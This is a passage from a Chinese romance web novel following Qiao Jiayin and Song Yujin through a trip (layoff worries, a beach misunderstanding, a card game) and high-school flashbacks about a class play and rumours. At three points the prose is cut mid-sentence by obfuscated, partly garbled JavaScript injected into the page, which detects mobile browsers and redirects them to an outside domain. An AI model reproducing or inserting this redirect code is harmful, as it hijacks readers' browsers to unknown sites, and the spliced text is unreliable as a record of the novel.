止,最终只能含蓄地表达:“你看他的时候,似乎是在享乐,但并不从心底感到快乐。” 但凡稍有留心就感觉得到乔迦茵的情绪,这件事对他来说太容易了,经年累月练习出来的技能。 看邵允承时像是逛展时欣赏美丽展品的眼神,被握住手时轻微有点不耐的神情变化,和邵允承讲话时轻慢的调情语调和偶尔认真说话的语气。喜欢?可能有一点好感,但不多,等同于路上经过会多看一眼,要是没看到,错过就错过。轻慢和亲昵是觉得打破别人既定的步调,看到意外的反应会有趣。施与少有的耐心,是因为觉得对方不会真正理解。因为她十足傲慢、打心里看不起所有人。所有长得好看的男人都是她赏玩怡情的客体,个体之间没有差异。 和曾经她对待廖明的态度一模一样,计算、模仿、隐藏其中的一点勾引。可惜那时候宋玉津对她尚且疏于了解,也是过了很长一段时间才想通其中关窍。 乔迦茵追求美色和感官刺激,但是只把这些当作玩物,一时快乐,丢掉也不可惜。 是个心很冷的女人。 就像此时此刻,厚重阴暗的云层之下,她向自己走近过来,在半步距离下站定,抱着双臂,弯起唇笑了一下。 “因为我不是你呀。”尾音柔软地上挑,如同落在心间的羽毛,她眼神却没有温度,黑白分明写满嘲讽,“纯爱战士。” 宋玉津愣了一下,随后笑了。 “我怎么就纯爱战士?”受不了乔迦茵一天天地给他套身份。 乔迦茵没懂笑点在哪,觉得无法和他沟通,唯有竭力控制住自己翻白眼的欲望:“你和盛霏不纯爱么?都真爱了。” 宋玉津百口莫辩:“……” “再说了,你不就是这种人吗?沉溺幻想、理想主义、对别人的精神境界有不切实际的要求,最好世界只有真善美。现在连我怎么谈恋爱也看不惯,和你有什么关系?怎么才算真心喜欢?我挺喜欢邵允承的呀。”乔迦茵一边说一边低头拧开饮料瓶,猛灌了两口。 宋玉津平静道:“你为什么喜欢他?” 乔迦茵盯着宋玉津,张口就来:“他长得帅,事业顺利,器大活好,我为什么不喜欢?” 见宋玉津跟定住了似的,神情却有一瞬的波动,她冷笑一下。 “怎么了,理由太肤浅?是不是太久没见,你把我记错成别的人了,好像产生了很多误解。” “说我享乐态度随便也好,玩弄别人感情也好,祸害到你了?” 她将瓶盖旋回去,放下手,反而又稍微走近了一点,踮起脚。 鼻尖就快要贴上的距离,五官由于太近而模糊,她的眼尾线条狭长,收束处上挑,勾勒出一个尖尖,黑眼瞳里隐藏玩味的笑意。 呼吸。唇齿前吐出空气,翕动的鼻翼又纳入,无意中闻到她身上的香气。三回不到。 “你紧张什么?”她问。 23. 第 23 章 不该跟乔迦茵吵架,宋玉津想起十六岁的时候对自己的忠告,她反击别人不讲道理不讲逻辑,只有一招扣帽子,随即乱拳打死老师傅。 他耳廓滚烫,额角青筋直冒,还是没忍住反驳:“……我说什么了,我哪有说你随便玩弄……” 乔迦茵忽然给他打了个噤声的手势,她手机屏幕亮了,新消息提示。 【学姐,我在网上刷到X司发offer了,我没收到,看来是没戏了。】 【一直以来很感激你的指点和照顾,其实心里始终都把你当作榜样和追随的目标,好可惜不能和学姐在同一家公司共事了,原本挺期待的,哈哈。虽然进不去梦司了,我还是会继续努力,寻找其他的机会的!】 第三条消息是一个卡通小动物表情包。 宋玉津不知道她手机屏幕上是什么信息,只看到她低着头将几条消息反复看了几遍,莹莹蓝光将脸色照得惨白,神情比平时郑重。 他想张口询问,乔迦茵忽然动身,到贩售机旁边的长椅坐了下来,似乎是拨了个电话出去,将手机拿至耳边。 “嘟——嘟——”的连线声,连宋玉津都听得格外清晰,古怪的是电话那头始终没接。 乔迦茵一反常态地显现出耐心,在通话自动取消后又拨了一次。 “……学姐。”这次通了,话筒那边女生的鼻音很重。 宋玉津的视角,只是知道这一次电话被接了起来,听不清那头说了什么,只看到乔迦茵垂首看着膝盖,对着话筒说了一句:“对不起。” “啊?学姐你不用道歉的……” “内推你之前我去询问过他们组,这两年业绩很好,原计划会有转正名额,VP也是女性,所以当时才说了那些让你好好加油,会有希望的话。他们给我的反馈一直很好,对你评价很高,所以我持续鼓励你,结果给了你错误的期待,耽搁了你一整年的时间,也没能去做别的暑期。是我考虑得不到位,你可以怪我的。” “……不是这样的,留在组里做长期实习也是当时我自己选的,那时带教他们都在鼓励我,我才……” “我也有份。”乔迦茵声音低下去,“你别怪自己,没能留在这里不是你的问题。” 那边沉默了一会儿,女生终于压抑不住,抽噎了一声。 “我觉得我真的做得够好了,几乎没犯过错误,整整一年都24小时standby,假期也不敢好好出去玩,时不时就要一份文件做到四点,早上九点继续上班,我也没有抱怨过……怕他们觉得女生脆弱、娇气,主动搬东西,出差也跟着所有人的习惯来……” 乔迦茵轻声说:“嗯,你做得很好了。”在往届几年,拿到offer是十拿九稳。乔迦茵入职再上两年,他们组里暑期实习生也好、长期日常实习生也好,基本都拿到了留用。 “可为什么还是……”很小声的呜咽过后,那边陷入一片杂音,而后是反常空旷的安静。手捂住了麦。 过了一会儿后,学妹吸了吸鼻子,说:“可能只是因为我们入局太晚了吧,错过了好的时候。” “嗯。”乔迦茵还是轻轻说,“别太难过,这里待遇也不好,行业凋零,没什么好可惜的。” 学妹调整过来了一些,问她:“学姐,那你怎么样啊?你们组会裁员吗?你有找下家吗?” “板上钉钉要裁,大概年底前,下家还没个影。”乔迦茵语气有点无谓,“都这样。” “啊?”这下被彻底转移了注意力,“你们组本来就男多女少,领导有点性别歧视的,你岂不是很危险啊!学姐你赶紧找找其他工作吧。” “会的。”乔迦茵笑笑道,“你也是,找工作加油啊。” 通话结束后,乔迦茵放下手机,仰起头长出了一口气,脸色不是很好。 宋玉津想了想,还是没有主动起话,只是默默站到她身边,装作一棵树。 在安静之中,她随意划了划手机,神情和动作忽然凝固住了,盯着屏幕看了很久。 什么情况?时间长到有些诡异了,宋玉津抑制着自己探头去看的冲动,她猛然站起身,和他对视了一瞬,眼睛里冷光如刀,问他:“你还站在这里干嘛?” 宋玉津不太确定道:“等你回去?” 乔迦茵听完一言不发,径自往回走。 宋玉津跟在她身后不作声,隐隐感觉不安。 他总能捕捉到乔迦茵的情绪,这一次却不甚明白它的由来。他所知的实在有限,只能不明所以地想着,明明两人俱在雨中,为何他无知无觉的时候,她已满身潮湿。 风铃乍响,光影颠倒乱晃,缀了流苏的门帘被信手掀起,兔起鹘落地垂坠。 乔迦茵挟着一身水汽回到厅堂,步履飞快,直接到邵允承面前,没坐,低头问他:“你看朋友圈了吗?” “没有,怎么了?”男大学生模样的青年云里雾里。 “那恭喜你。”乔迦茵笑了一下,将手机屏幕亮给他看,“你表姐怀孕了。” “啊?!我完全不知道!她明明这阵子和我才聊过,却没告诉我啊?”邵允承震惊地凑向屏幕,“我天,我要去问问她。” 宋玉津后乔迦茵一步迈入屋内,谈话声他听见了,不过那两个人都背对着他,率先映入眼帘的是盛霏神情复杂的脸。 怎么也是这副表情? 邵允承急急忙忙给表姐打电话慰问去了,乔迦茵似笑非笑地站在他身边旁听,盛霏看了宋玉津一眼,把他拉到一边,小声说:“乔迦茵那个同事,陈安妮怀孕了。” 宋玉津说:“我听到了。” 盛霏抬眼看他一脸清澈的茫然,无语地解释:“你知不知道什么叫‘战略性怀孕’?” “什么?”丝毫没理解。 “孕期、产期、哺乳期,除非员工存在法定过错行为,用人单位不得单方解除劳动合同。”盛霏低声说,“战略性怀孕,换2年职业保护期,现在很多人用这个方式应对裁员风险。” 宋玉津第一次听说这个,一时惊讶到失语:“……” “乔迦茵被人阴了,她同事压根没透露过这个消息,打了她一个措手不及。”盛霏瞥了乔迦茵一眼,道,“他们组里,这个级别的女员工只有她们两个。” * 次日天公作美,放了晴。 乔迦茵不太乐意和宋玉津邵允承两个人多聊,大部分时间和盛霏走在一起。宋玉津注意到她神情恹恹,气压偏低,看不出是否受了昨天事情的影响,因为她平时也是这个状态。盛霏更是一如既往地话很多,总是兴高采烈。 宋玉津昨晚看了点文章,算是弄明白了所谓“战略性怀孕”的由来,且乔迦茵之前的那通电话,也大抵猜到了内容,不免心里有些担心。一早在民宿用早餐时就在等她,结果迟迟没等到两个女生下楼来吃饭,才知道她们直接一起睡到中午。 更可恶的是,连邵允承也没来。 就他一个人作息正常! 宋玉津愤愤地在四人群聊里指责大家不吃早餐的行为,没人理睬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802628|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 等一行人在岛上游玩时,他又明显察觉到盛霏拉着乔迦茵有意无意地避开了他们,女生之间说小话去了,看不出是哪个故意的,可能都有。乔迦茵讨厌他,昨晚还刚吵过架;盛霏是前女友,虽然分得无比和平,难说是不是心怀怨言,当初也因为两人不合适,产生不少小摩擦小矛盾。 宋玉津思考一番,震惊地发现自己正面临人际关系最糟糕的一次处境,二十多年来人生从未有过。 他侧过头问邵允承:“乔迦茵今天是不是心情不好?” “啊,有吗?” “她话都比平时少很多啊。” “她本来就不爱说话啊。”邵允承说。 宋玉津望着他澄澈的眼神,心头一股无名火起——男朋友能做成这样? 最后还是压紧眉头挥挥手:“算了,你去玩吧。” 在海滩上随意走了走,用相机拍了几张照片后,回头看到乔迦茵已经沿着岸边走出了很长一段距离,白裙子,披了一件柔软的开衫,身形很薄,披散的长发在风里飞扬起来。 雨后放晴,天空如水洗过,日落也灿烂夺目,金粉色的晚霞烈烈地烧上半边天空,云朵被熏成粉红色的暧昧烟雾,蓬松轻盈像火车头喷出的蒸汽,而海水和肌肤都被映上橙红色彩。 他看了一会儿,抬起相机取景,忽然间像是注意到什么,脸色一变。 * 乔迦茵顺着滩涂边的岩石往海水深处走,这海滩上恰巧有一条长长的礁石道路,她一手拢住开衫往里走,走到尽头时才回过头,眯起眼寻找盛霏的方向。 日落光太刺眼,不得不抬起手遮挡。 盛霏冒冒失失的,这些天忘记给无人机充电,刚起飞拍了一会儿就没电了,偏偏盛霏觉得这里景很好,不容错过,一定要给乔迦茵来一张俯瞰视角的照片,故而亲自跑得远远的,跑到相隔数十米的堤坝上去取景了。 眼下已经不见行踪。 即使乔迦茵被她事先告知过机位,也是眼神迷蒙地照了半天才瞧见一个小小的人影。 海风极大,吞没了周遭的其余声音,她也根本听不清盛霏的指令,凭感觉地看向镜头,然后盛霏一只手画了半天的圈,乔迦茵才看懂是让她转过身去,拍背影。 她本就站在最边缘,再往里走几乎没有路了,转过身犹豫一下,迈了非常微小的一步。 她思忖这个动作被拍出来可能分外做作,单纯站着的背影又欠缺美感,决定还是稍微走一下,于是后退几步重新往前。 一边琢磨的时候,一边隐隐约约听到有人喊她名字,还很大声。 她一开始以为盛霏,又想起盛霏叫她不太会连名带姓。刚茫然地回过头张望,手腕就被人一把拽住了。 ——整个人都被向后揽进怀里。 “乔迦茵你犯什么傻?!”宋玉津话音咬牙切齿,喘得剧烈,像是刚跑过来的,眼睛死盯着她,眼角被海风吹得泛红。 他急促地呼吸几下,似乎是将某种情绪用力平复下去,然后缓和了语气,看着她说,“你昨天是不是很生气?我给你道歉,以后不会乱评价你。本来不就讨厌我吗?我那些话别放在心上。” “你……别乱跑,这里很危险,往回走一点。” 乔迦茵:“……” 他手臂力气使得不大,她稍微一挣就退开这个不知所云的拥抱。 但手腕还被他勒得生疼。 她费解地想了半天,还是没忍住,发出一声真诚的:“……啊?” 24. 第 24 章 腥咸的风拉扯着发丝,夕阳下仿佛闪动着无数眼睛的海水,视野尽头翻滚起的白色浪潮。 宋玉津养尊处优又一贯八面玲珑,很少流露出有点慌神的模样。此时头发却被风吹得乱,衬衫前两粒扣子也都解开,腰际有跑动形成的褶皱。 他眼睛一错不错地紧盯着乔迦茵,目光平静却似乎在蛰伏着隐而不发,好像她下一秒会逃走一样。 乔迦茵和他对视,心跳莫名地错了一拍。 半晌她反应过来什么,只觉得无比荒谬。 “你以为我要自杀?你发什么疯啊宋玉津?” 宋玉津面色很沉静,道:“那你先和我回岸上。” “回什么回,我本来就在岸上,照片还没拍完——” 他拉着她就走,力道大得惊人。 走了没几步,乔迦茵就在后面喊了:“你有病吧!” “宋玉津!你给我放手!” “我没有要跳海!你别管我!” “……” 宋玉津抿着唇一言不发。 乔迦茵自己都不是十分清楚,她自从高中起就对于感官刺激强烈、以及离经叛道的东西有超乎寻常的痴迷。时隔多年重逢之后,他起初还不是很确定,这些天心里的猜测才逐渐明晰——她有隐秘的自毁倾向,摇摇欲坠的、想把人生彻底搞砸的试探意图。以往没有那么强烈。她本人一无所知,但宋玉津远比她自己还要了解她。 乔迦茵在经年累月的时间里伪装得更好,但骗不了他。离开高中后的她不知何时起进入了觉得一切索然无味的状态,看什么都如一潭死水。他没法放下心。 她向着海水走到陆岸尽头的时候,他确信自己望见了—— 她脸上仿佛晕眩,如被深深吸引般的空茫神情,像下一秒就要进入大海深处。 沿着长礁一路走到沙滩上,他才松开了手。 乔迦茵劈手扇了他一巴掌。 下手并不重,但声音脆亮,一下把刚看出不对跑过来的盛霏和邵允承都震慑住了。 宋玉津没什么反应,面色波澜不惊,松开她后双手插进兜里,微低下头,平静地问她:“消气了吗。” 像一拳打在棉花上,乔迦茵瞪视着他,胸腔还在起伏:“……没有!你自说自话够了没有?跟你说了是在拍照!”目光往旁边移动扫视,抬手一点,“盛霏就在这,你问她啊!” 盛霏闻声抱着相机跑过来,随后抓了抓头发,抓住乔迦茵衣角小声道:“我在那边听不清楚你们说话……为什么突然吵起来了啊?好好的别吵架啊。” 邵允承也及时赶到打圆场:“是啊是啊,是不是宋哥说错话了?赶紧道个歉吧。” 乔迦茵侧头看向盛霏,满目怒火看得盛霏瑟缩了一下,那一瞬间的动作也落入她眼里。 她闭了闭眼,心头升起一股无力。 大家都是高高兴兴出来玩,盛霏是其中最迫切、兴致最高的那个人。何必破坏他们心情? “算了。”她说,没再看宋玉津,低头示意盛霏手上的相机,“照片给我看一看吧。” “噢噢,好!”盛霏如梦初醒地打开相机,抬高一点给她看,“刚刚这几张我觉得挺不错的。” 她从前往后一张张翻,刚想说左下角这片模糊的白色色块是什么,下一张就看到宋玉津往自己跑过来。 “……”乔迦茵说,“这张删了吧。” 盛霏看了看,不免可惜:“其实挺唯美的,我当初大学毕业照就想要拍出这种效果。” “拍我的照片,他出镜做什么,删了。” “好吧。”看来的确余怒未消。 删除后出现的下一张,乔迦茵诡异地沉默下来。 宋玉津出现在她身边,位置靠得很近,后背将她整个笼罩住。 那个一触即分的拥抱居然被盛霏拍到。 她古怪地看了盛霏一眼。 盛霏还笑嘻嘻的:“哇,这个角度好像你们抱在一起了。” 这语气也太没当回事了吧?好像照片主人公不是她男朋友一样! 停顿的时间太久,盛霏似有所感地抬头,乔迦茵很快收回视线,神情复杂:“……这个也删了吧。” 乔迦茵在这张照片里压根没露出来,确实是废片,盛霏噢了一声,点击删除。 * 在岛屿游玩一天后,当晚前往下一个目的地,松括市。 松括市历史悠久,是文化古城,古迹林立,旅游业繁荣。他们预先在这里定了一家豪华酒店,设备高端,条件极佳,坏处是位置偏僻,离景区和市区都有点远。 乔迦茵情绪不佳,一路车程没怎么说话,即使参与聊天也基本避开宋玉津,明显得连另外两位也察觉到了。 码头到松括市他们预定的酒店不太远,也没聊上几句,到大堂办理入住时盛霏犹豫地环视一圈,然后说:“现在还早,要不晚上再打会儿牌?” “今天还要打?”邵允承语气意外。 “我输太多想一雪前耻不行吗?”盛霏暗中咬咬牙。 邵允承怕不是个傻的,她是看现在氛围有点僵,想借机会缓和一下关系! 宋玉津说:“行啊,在哪里打?” 盛霏:“就到你们男生房间可以不?” “我没问题。”宋玉津偏过头看向邵允承,“你呢?” 与此同时,盛霏正在狂给邵允承打眼色。 邵允承完全没有读懂,愣神片刻后,选择凭借本心回答:“我肯定也没问题啊。” 幸好幸好,盛霏暗地里松一口气,乔迦茵反倒沉吟道:“那我就……” 语气一听就是要拒绝。 盛霏立刻道:“今晚打掼蛋,一定要四个人,你不来怎么组得上?” 乔迦茵:“啊?什么时候定的要打掼蛋……?” 邵允承:“掼蛋是……?” “我突然想打了,手痒,其实我有掼蛋瘾,一犯不打不行,你帮帮我!”盛霏一把拉住乔迦茵道。 乔迦茵分外怀疑:“你那个牌技也能上瘾……你是比较喜欢输的感觉?” 这女人真的是好毒的一张嘴,盛霏内心吐血三升,还不忘转头吩咐宋玉津:“你去教一下他。”说的是邵允承。 不用她说,宋玉津已经在解释。 刚好避开了与乔迦茵的对话,盛霏转过脸来双手合十:“来玩嘛来玩嘛!拜托拜托!” 乔迦茵想了一下,还是没拒绝:“行吧,别打太晚。” “——J你和宋玉津结队。”到了房间里,盛霏如是宣布。 随即被左右两道冷如X射线般的目光夹击。 乔迦茵问:“不抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811655|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签决定?” “我和宋玉津没默契。”盛霏强忍下心虚,说,“我选择带带新人小邵。” 宋玉津不无遗憾地说:“确定不和我组队?你要离胜利更远一步了。” “远也是因为没和我组。”乔迦茵道。 这是她今天从海边回来之后和宋玉津说的第一句话。 宋玉津笑了笑,轻描淡写道:“我不觉得。” ……非要和她作对,乔迦茵一股火气又上来了。 “盛霏和我组。”她强硬道,“你和我换个座位,我们俩一起虐他。”后半句对着盛霏说的。 盛霏:“啊?不好吧……” 邵允承在越发混乱的局面中开口:“要不还是随机摸牌?谁带我都可以!我没关系!” 谁管你有没有关系,盛霏无语地想,我是想让他俩重归于好,噢,这词也不对,就没好过……至少恢复正常啊。 “那就摸牌。”宋玉津接过话,“摸到红桃A的结对。” “第一把2最大,用红桃2才对。”乔迦茵道。 “红桃2要用来定谁先出牌。” “一张明一张暗不就行了?抽到明牌的先出。” “……”盛霏服了他俩了,“抽签吧抽签吧,刚好房间里有给纸笔。” 两个女生坐在靠窗的沙发,离书桌更近一点的宋玉津自然起身去制作签条:“那我就写A和B了。” 盛霏提心吊胆,生怕乔迦茵反对,说要写甲和乙,幸好她还没有自己想象的那么离谱,无所事事地低下头将扑克牌取出开始洗牌。 宋玉津没坐下,直接站在书桌旁稍俯下身撕好纸片,快速写完,拿过来给他们展示了一下,捏成纸团。 邵允承说:“哥字写得还挺好看。” “两个字母能看出什么。”盛霏忍不住吐槽,“又不是写文章……欸,笔迹。”她目光突然顿住了,一时福至心灵。 埋头洗牌的乔迦茵没专心听他们交谈,被盛霏猛然拉住手肘:“你当初收到的情书是手写的吧?” “是啊。”她说,“印刷的那叫恐吓信。” “那你怎么没去比对字迹啊!”盛霏恨铁不成钢,“你都说了是同班同学,那种语文作文比一比不就能找出是谁了?” “我有那么闲的吗?”乔迦茵反问着,手上的牌整整齐齐码好一摞,信手切几下后,玩了一个开扇,轻声说,“而且我认出是谁的笔迹了。” 在她对面椅子上的宋玉津动作一顿。 “什么什么??——等下,这招好帅,我要学。”盛霏的注意力迅速被她手上动作转移。 “很好学的,我教你。”太好骗了,就知道她会被这个吸引。 盛霏接过牌练习开扇,乔迦茵伸手去拿纸团。桌子大,她刚好对角,离得远,宋玉津就将离她最近那个纸团向她推了推。 乔迦茵瞥他一眼,站起身拿了另外一个。 宋玉津:“……” 他直接将乔迦茵不愿意收下的那个纸团摸过来,扯开:A。 与此同时邵允承遗憾道:“我是B。谁抽到B了?” 沉迷开扇的盛霏如梦初醒,去拿仅剩的最后一个纸团:“我看看我是不是——” “你是。” 乔迦茵将纸条打开,冷着脸拍在桌上。 A。 25. 第 25 章 体育课前一节是数学,老师讲课讲到最后留了一道思考题,乔迦茵花了一整个课间对付完,转头找宋玉津对答案。 宋玉津说:“我没做。”并且以谴责的眼光注视她,意思是你以为谁都像你这么变态。 “……那我找黎远。”乔迦茵站起身张望,“他人呢?” 刚好上课铃响,宋玉津指指广播位置,也懒散地站起来:“估计已经到体育馆了,赶紧走吧。” 体育馆离教学楼远,上课迟到五分钟本就是家常便饭,久而久之学生们也越来越拖拉,不过像乔迦茵宋玉津这种铃响了还没出发的尚在少数。 他们最后两个离开教室,乔迦茵随手关了灯。 穿过西广场的时候,宋玉津问她:“我就是好奇,你还记不记得手上有个课本剧要排。” 此前她说月考期间大家都没有排练的心思,现今是月考过去后的一周,离正式演出也不剩多久。 “记得也没用。”乔迦茵低头看手机,“排不起来。” “怎么了?月考之前进度其实挺顺的啊。”宋玉津回忆着说,操场跑道有高一年级学生跑闹着迎面冲上来,他伸手在乔迦茵身前一拦,“哎,能不能看下路?” “你凶什么凶。”乔迦茵似乎是回完消息,放下手机没好气道。 宋玉津:“我说的是他们!” “……”乔迦茵续上之前的话题,“课本剧太费时间,每个人戏份和理解都不一样,之前排练催太紧,他们有情绪了。” “有吗?”完全没感觉。 她笑了一下:“嗯,不是每个人都像你这样愿意当工具人。” “不像夸我。”宋玉津问,“那你准备怎么办?” “什么怎么办。”乔迦茵摊开手,“你看我这样,像知道怎么办的样子吗。” 宋玉津说:“像啊。” “……” 他语气理所当然:“你本来不就是越有挑战越兴奋吗?别人越不配合,越激发你的支配欲,我觉得你马上就要跑去给课本剧参与人员集体训话了。” 他停顿两秒,补充,“还是很凶狠的那种。” 乔迦茵沉默一会儿,给了他一个匪夷所思的眼神,不吭声往前走。 红砖碧瓦的体育馆近在眼前,体育课男女生分开活动,有不同的体育老师。快要入馆前,宋玉津又叫住她:“乔迦茵。” 她走得比他快一点,在前半步的位置侧过头:“什么事?” “你这几天为什么躲着我?” 乔迦茵抬眼看他,男生俊秀的脸很专注地凝视着她,安静地等待着回答。睫毛被秋日的阳光染成浅色,嘴唇微抿出柔软的线条,下颌锋锐,肩颈舒展有力的轮廓延展到校服白衬衫里,衣角下摆被风吹起,薄得透出一点光。 她否认了:“没有躲你。” 她的确撒谎不眨眼,却也猜到骗不过他,宋玉津果然表情郁闷:“糊弄我呢……到底什么原因,我不能知道?” 说不出口。难道说,女生们背后编排你我的传言,让我觉得心情混乱,暂时拿不准对你的态度要怎么样才合适?说我在分明知道那些全是谣传的同时,竟然闪过一丝心虚?太逊了,她根本不是这么瞻前顾后的人。 “你自己想吧。”乔迦茵转身就走,“我去上课了。” 体育老师安排这节课打羽毛球,让女生们各自领了球拍和球之后自行结伴活动。 乔迦茵自然而然去找温见竹的身影,却望见她被另一个薛卓然寝室的女生牵住手,言语像是撒娇和恳求,温见竹在原地犹豫一会儿,为难地转过脸来看她。 乔迦茵看懂了什么意思,挥挥手表示不在意,温见竹就和那个女生去打球了。 她拎着球拍漫无目的地走了一圈,发觉其他人都似有若无地逃避视线之后,当即意识过来什么。 因课本剧闹了矛盾的那些女孩子们在有意排挤她。剩下的那些不明情况,本来就和她没有多少交集,更没有主动向她搭一把手的理由。 等到所有人都前往羽毛球场地,体育老师也注意到女生的落单,当众问她:“乔迦茵,你没找到搭子吗?” 身后打探过来的视线如芒在背,乔迦茵坦承:“没有。” “不可能啊,你们班16个女生,偶数。”体育老师扫视一圈,抬手就点,“那边是三个人?你,过来。” 乔迦茵站在原地走神,过了一会儿,才抬起眼,目光和冷着脸走过来的薛卓然恰好对上:“……” 薛卓然:“……” 两个人在微妙的氛围中寻找场地练球,薛卓然语气有点不耐:“我今天例假,不想动,随便打打吧。” “刚才怎么不和老师说,可以休病假的。” 声音里有一丝难以察觉的疲倦和厌烦,薛卓然愣了愣,说:“那你岂不是很尴尬?就没人陪你打了。” 乔迦茵疑惑地看她一眼。 她还没说什么,薛卓然就像是忍不下去一样焦躁地开了口。 “不是我让她们那个样子的!”她说,“……有些人情绪非常大,在女生之间说要孤立你,我劝不了,也不想被骂。” “我知道。”乔迦茵退到网后,淡淡道,“王佳萱。” 当初军训文艺汇演组织者之一,没有上台表演,是台下的组织者。在班委全部被闫倩指定之后,闫倩发现缺一个副班长,于是格外开恩决定正经竞选一个,王佳萱当选。集体舞的时候王佳萱就提过不少意见,这次课本剧更是挑三拣四,大约还是不服乔迦茵的文艺委员名头,想要自己亲身上任。 她说完名字,自觉话题结束,就扬手发球。没注意到球网对面,薛卓然露出了一个非常惊愕的表情。 “你怎么猜到的?”她说,“难道你知道……” 废话,我早就看出来她想当文艺委员。 乔迦茵顾念着她不便跑动,羽毛球轻飘飘地跃过球网,径直落到薛卓然面前。 对方却连送来的球都不接,硬是注视着她把话说完了。 “难道你知道她喜欢宋玉津?” 被漠视的球,坠地也是悄无声息,骨碌碌滚远了。 等体育老师看完一圈,百无聊赖地离开体育馆散步去了,乔迦茵捡起落在她半场的球,说:“你休息吧。” 薛卓然松一口气,立即抱着球拍坐到了墙边的长椅上,“你不坐吗?” 她摇头:“我去接水。” “噢。”薛卓然小声叮嘱,“你别把王佳萱……的事情说出去啊。” “……不会,我有那么闲的啊?”乔迦茵拎起水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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全都是极其寻常普通的动作,落在廖明眼里不知怎么让他面红耳赤起来,几乎是狼狈地转开了视线。 “我先走了。”人高马大的男生突兀地冒出一句,立刻要从她身后离开。 “哎,你等等。”乔迦茵眼疾手快地拉住他小臂,他衬衫挽到半袖,这一块肌肤裸露在外,被阳光晒得发烫。 这处过道本就狭窄,她这么一拽,两人之间距离近得可怕,可乔迦茵像是浑然不觉似的,仰起脸,目光清凌凌看着他,“上周给你排的戏你还记得吧?台词全都给你顺过一遍,别过了一个月考就忘光了。” “没有,怎么可能。你不信考我几句。”廖明说。 乔迦茵看了他一会儿,轻微地笑了一下,放开手。 “下次再说,给你点机会复习。” 廖明离开的步伐极快,像是要宣泄某种毫无来由的怒气一样,乔迦茵继续洗手,低着头,表情模糊难辨。 两人看不见的暗处,体育馆门口内侧,有学生在窃窃私语。 “佳萱你说得没错啊,他们两个真有一腿。” “——我早说了,乔迦茵就是这种人。” 26. 第 26 章 “之前几次确定剧本主题、选角、改剧本,开大会都是所有人一起的,确实很费时间,但也是想尊重每个人的意见,每个决定都是所有人在场确定下来的,就算有少数异议我也力所能及地尽量满足了。排练期正好赶上月考,每个人时间都紧张,也停了一周让大家自己安排,练不练随你们。” “知道有些人对我不满,如果是对课本剧的意见,可以直接跟我说,我们商量怎么改;如果是针对我个人的,那不好意思,就忍着,反正我也不会改。但是承诺好要来参与课本剧,又撒手不干,没有这样的事吧?真的决定退出,不想演了,不想做了,那就当面说出来,我再临时找人顶替,大家都普通学生,没有谁是不可替代的,换谁不是换。所以现在,有谁要撤的吗?” “没有的话,这周五班会课集体排练,顺便定一下服装。” 通知完毕后,乔迦茵挥了挥手,表示谈话结束,低头坐下看手机去了。 等其他人都零零散散离开后,有个声音在头顶评价:“凶得像模像样的。” “你还没走?”乔迦茵看他。 宋玉津说:“等你的最新指导意见,领导。” “领导没有指示。”乔迦茵起身,将手机收进口袋,和他一起往教学楼走。 男生走在她身侧,漫不经心地说:“现在又觉得当文艺委员没意思了?” 这都能看出来,乔迦茵意外地瞥他一眼,说:“……课本剧还好,但对付这种人际关系矛盾真的很没意思,很无聊。要是每次文艺活动都要经历一遍,实在受不了。” “你处理起来分明很轻松啊,难不倒你。” “他们是怕我向老师打小报告,知道闫倩捧我。”乔迦茵说,“虽然我懒得做这种事,但不得不狐假虎威一下。” 经过广场时,女生随意看了一眼中心处的铜像,视线忽然在侧前方的走廊拐角顿住。 “怎么了?”宋玉津跟着看过去,“啊,那不是王佳萱吗?她站在这里干嘛,有事找你?” “……”安静了半分钟,乔迦茵说,“不知道。” 短暂对视过后,王佳萱表情淡淡地移开了视线,转身走了。 宋玉津莫名道:“什么情况?” “你问她啊,问我干嘛。”语气不佳。 * 晚自习中途被闫倩敲了窗户,出教室后被她一路领去办公室,一直到闫倩格子工位前面,乔迦茵还一头雾水,怀疑她不想批月考卷了抓她做义工。 办公室里有细碎的话声,月考刚过,大多数老师都还在阅卷,或者和学生谈话。 有几个闫倩教的其他班的学生经过,笑逐颜开地向她问好,闫倩也乐呵呵地应了。 等那几个学生走了,她像变脸一样面色沉下来,严肃地望向乔迦茵。 乔迦茵看她表情,顿感不妙,接着就听她问道。 “我听说你这段时间,和廖明走得很近?” 乔迦茵被班主任眼底隐藏的厌恶给激了一下。 “谁说的?”她直接反问。 闫倩冷道:“这你就不用管了。我问你真的假的?你知不知道,男生女生相交过于亲密是违反校规的?乔迦茵,你一向很优秀,老师不希望你行差踏错。” 乔迦茵和她对视了一会儿,短暂地安静下来。 深秋的夜晚,玻璃上结起霜。墙边的窗户映出两人的影子,相似的纤细、高挑,但身形一眼即望得出成人和学生的区别。 乔迦茵牵了一下嘴角,抿出一点聊胜于无的笑意。 “太离谱了。”她说,“怎么不说宋玉津?我和他走在一起的时间更多。” 闫倩也笑:“如果是宋玉津反而还好了。” 她话音未落,乔迦茵踩在她吐息之前就快速追问了一句:“为什么?” 